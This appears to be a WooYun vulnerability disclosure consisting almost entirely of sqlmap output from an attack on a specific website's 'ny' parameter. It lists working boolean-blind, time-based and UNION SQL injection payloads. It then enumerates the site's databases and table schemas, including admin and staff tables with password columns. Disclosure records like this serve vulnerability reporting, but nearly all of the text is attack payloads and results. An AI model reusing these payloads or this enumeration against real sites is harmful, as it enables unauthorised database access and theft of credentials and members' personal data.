WooYun.org

Parameter: ny (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ny=2015' AND 5696=5696 AND 'OGEv'='OGEv&nm=11
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: ny=2015' AND (SELECT * FROM (SELECT(SLEEP(5)))tLRO) AND 'Zzvn'='Zzv
n&nm=11
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: ny=2015' UNION ALL SELECT CONCAT(0x716a767871,0x5574497257625066627
8,0x7170767671),NULL,NULL,NULL,NULL,NULL-- &nm=11
---
[21:23:54] [INFO] the back-end DBMS is MySQL
web application technology: Apache
Parameter: ny (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ny=2015' AND 5696=5696 AND 'OGEv'='OGEv&nm=11
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: ny=2015' AND (SELECT * FROM (SELECT(SLEEP(5)))tLRO) AND 'Zzvn'='Zzv
n&nm=11
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: ny=2015' UNION ALL SELECT CONCAT(0x716a767871,0x5574497257625066627
8,0x7170767671),NULL,NULL,NULL,NULL,NULL-- &nm=11
---
[21:24:56] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.12
[21:24:56] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] new50lan
Database: new50lan
[8 tables]
+-----------------+
| 50lan_admin |
| 50lan_member |
| 50lan_news_date |
| 50lan_news |
| 50lan_recruit |
| 50lan_vote |
| manager |
| staff |
+-----------------+
Database: new50lan
Table: 50lan_vote
[8 columns]
+----------------+-------------
| Column | Type
+----------------+-------------
| id | int(11)
| member_content | text
| member_date | timestamp
| member_file | varchar(250)
| member_mail | varchar(250)
| member_name | varchar(100)
| member_num | varchar(10)
| member_type | varchar(2)
+----------------+-------------
Database: new50lan
Table: 50lan_member
[7 columns]
+----------------+-------------
| Column | Type
+----------------+-------------
| member_address | varchar(200)
| member_birth | varchar(10)
| member_date | timestamp
| member_id | int(11)
| member_mail | varchar(200)
| member_name | varchar(20)
| member_tel | varchar(20)
+----------------+-------------
Database: new50lan
Table: 50lan_recruit
[7 columns]
+-------------------+----------
| Column | Type
+-------------------+----------
| recruit_area | varchar(2
| recruit_Education | varchar(2
| recruit_id | int(11)
| recruit_job | varchar(2
| recruit_type | varchar(2
| recruit_update | timestamp
| recruit_Years | varchar(2
+-------------------+----------
Database: new50lan
Table: manager
[3 columns]
+---------+------------+
| Column | Type |
+---------+------------+
| content | varchar(2) |
| id | int(11) |
| style | varchar(2) |
+---------+------------+
Database: new50lan
Table: 50lan_admin
[6 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| Admin_date | timestamp |
| Admin_id | int(11) |
| Admin_name | varchar(50) |
| Admin_pwd | varchar(100) |
| Admin_type | varchar(2) |
| Admin_user | varchar(50) |
+------------+--------------+
Database: new50lan
Table: 50lan_news
[6 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| content | text |
| datatime | timestamp |
| id | int(11) |
| news_month | varchar(2) |
| news_year | varchar(4) |
| title | varchar(250) |
+------------+--------------+
Database: new50lan
Table: 50lan_news_date
[3 columns]
+------------+------------+
| Column | Type |
+------------+------------+
| id | int(11) |
| news_month | varchar(5) |
| news_year | varchar(5) |
+------------+------------+
Database: new50lan
Table: staff
[5 columns]
+---------------+-------------+
| Column | Type |
+---------------+-------------+
| account | varchar(20) |
| administrator | int(1) |
| id | int(10) |
| name | text |
| passwd | varchar(20) |
+---------------+-------------+